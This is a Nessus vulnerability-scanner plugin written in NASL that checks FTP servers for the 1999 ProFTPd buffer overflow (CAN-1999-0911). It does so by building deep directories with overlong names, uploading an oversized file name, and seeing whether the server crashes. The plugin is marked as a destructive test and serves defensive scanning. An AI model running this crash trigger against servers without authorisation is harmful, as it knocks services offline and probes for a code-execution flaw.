home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / proftpd_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  5KB  |  178 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. #
  7. # XXX not a duplicate with 10189 ! See http://www.linuxsecurity.com/advisories/linuxppc_advisory-251.html
  8. #
  9.  
  10. if(description)
  11. {
  12.  script_id(10190);
  13.  script_bugtraq_id(612);
  14.  script_version ("$Revision: 1.22 $");
  15.  script_cve_id("CAN-1999-0911");
  16.  name["english"] = "ProFTPd buffer overflow";
  17.  name["francais"] = "DΘpassement de buffer ProFTPd";
  18.  
  19.  script_name(english:name["english"],
  20.           francais:name["francais"]);
  21.          
  22.  desc["english"] = "
  23. It was possible to make the remote FTP server crash
  24. by creating a huge directory structure and then
  25. trying to upload a file to there.
  26. This is usually called the 'proftpd buffer overflow'
  27. even though it might affect other FTP servers.
  28.  
  29. It is very likely that an attacker can use this
  30. flaw to execute arbitrary code on the remote 
  31. server. This will give him a shell on your system,
  32. which is not a good thing.
  33.  
  34. Solution : upgrade your FTP server.
  35. Consider removing directories writable by 'anonymous'.
  36.  
  37. Risk factor : High";
  38.          
  39.          
  40. desc["francais"] = "
  41. Il s'est avΘrΘ possible de faire planter le serveur
  42. FTP distant en y crΘant une grande structure de
  43. rΘpertoires puis en tentant d'y tΘlΘcharger un fichier.
  44.  
  45. On appelle souvent ce problΦme le 'dΘpassement de buffer
  46. proftpd' bien qu'il puisse concerner d'autres serveurs FTP.
  47.  
  48. Il est trΦs probable qu'un pirate puisse utiliser ce
  49. problΦme pour executer du code arbitraire sur le serveur
  50. distant, ce qui lui donnera un shell sur votre systΦme,
  51. ce qui n'est pas une bonne chose.
  52.  
  53. Solution : mettez α jour votre ProFTPd en version 1.2pre4.
  54. Si vous n'utilisez pas ProFTPd, alors informez votre 
  55. votre vendeur de ce problΦme.
  56.  
  57. Facteur de risque : ElevΘ";              
  58.  script_description(english:desc["english"],
  59.              francais:desc["francais"]);
  60.             
  61.  
  62.  script_summary(english:"Checks if the remote ftp can be buffer overflown",
  63.          francais:"DΘtermine si le serveur ftp distant peut etre soumis α un dΘpassement de buffer");
  64.  script_category(ACT_DESTRUCTIVE_ATTACK);
  65.  script_family(english:"FTP");
  66.  
  67.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  68.            francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  69.           
  70.  script_dependencie("find_service.nes", "ftp_write_dirs.nes",
  71.              "wu_ftpd_overflow.nasl");
  72.  script_require_ports("Services/ftp", 21);
  73.  exit(0);
  74. }
  75.  
  76. include("ftp_func.inc");
  77.  
  78. #
  79. # The script code starts here : 
  80. #
  81.  
  82.  
  83. login = get_kb_item("ftp/login");
  84. pass  = get_kb_item("ftp/password");
  85.  
  86. # Then, we need a writeable directory
  87. wri = get_kb_item("ftp/writeable_dir");
  88. if(!wri)exit(0);
  89.  
  90. nomkdir = get_kb_item("ftp/no_mkdir");
  91. if(nomkdir)exit(0);
  92.  
  93.  
  94. port = get_kb_item("Services/ftp");
  95. if(!port)port = 21;
  96. if(!get_port_state(port))exit(0);
  97. soc = open_sock_tcp(port);
  98. if(soc)
  99. {
  100.  if(ftp_log_in(socket:soc, user:login, pass:pass))
  101.  {
  102.   c = string("CWD ", wri, "\r\n");
  103.   send(socket:soc, data:c);
  104.   b = ftp_recv_line(socket:soc);
  105.   cwd = string("CWD ", crap(100), "\r\n");
  106.   mkd = string("MKD ", crap(100), "\r\n");
  107.   num_dirs = 0;
  108.   for(i=0;i<9;i=i+1)
  109.   {
  110.   send(socket:soc, data:mkd);
  111.   b = ftp_recv_line(socket:soc);
  112.   if(!ereg(pattern:"^257 .*", string:b))
  113.   {
  114.    i = 9;
  115.   }
  116.   else
  117.   {
  118.    num_dirs = num_dirs + 1;
  119.    send(socket:soc,data:cwd);
  120.    b = ftp_recv_line(socket:soc);
  121.    if(!ereg(pattern:"^250 .*", string:b))
  122.     {
  123.      i = 9;
  124.     }
  125.    }
  126.   }
  127.   
  128.   
  129.   port2 = ftp_get_pasv_port(socket:soc);
  130.   soc2 = open_sock_tcp(port2);
  131.   if(soc2)
  132.   {
  133.    command = string("STOR ", crap(100), "\r\n");
  134.    send(socket:soc, data:command);
  135.    b = ftp_recv_line(socket:soc);
  136.    send(socket:soc2, data:crap(100));
  137.    close(soc2);
  138.    b = ftp_recv_line(socket:soc);
  139.    command = string("HELP\r\n");
  140.    send(socket:soc, data:command);
  141.    b = ftp_recv_line(socket:soc);
  142.    if(!b){
  143.     security_hole(port);
  144.        exit(0);
  145.     }
  146.   ftp_close(socket:soc);
  147.   
  148.   
  149.   if(!num_dirs)exit(0);
  150.   
  151.   soc = open_sock_tcp(port);
  152.   if(!soc)exit(0);
  153.   ftp_log_in(socket:soc, user:login, pass:pass);
  154.   for(i=0;i<num_dirs;i=i+1)
  155.   {
  156.    send(socket:soc, data:string("CWD ", crap(100), "\r\n"));
  157.    b = ftp_recv_line(socket:soc);
  158.   }
  159.   
  160.   
  161.   send(socket:soc, data:string("DELE ", crap(100), "\r\n"));
  162.   b = ftp_recv_line(socket:soc);
  163.   send(socket:soc, data:string("CWD ..\r\n"));
  164.   b = ftp_recv_line(socket:soc);
  165.   for(i=0;i<num_dirs; i = i+1)
  166.   {
  167.    send(socket:soc, data:string("RMD ", crap(100), "\r\n"));
  168.    b = ftp_recv_line(socket:soc);
  169.    send(socket:soc, data:string("CWD ..\r\n"));
  170.    b = ftp_recv_line(socket:soc);
  171.   }
  172.   
  173.   ftp_close(socket:soc);
  174.  }
  175. }
  176. }
  177.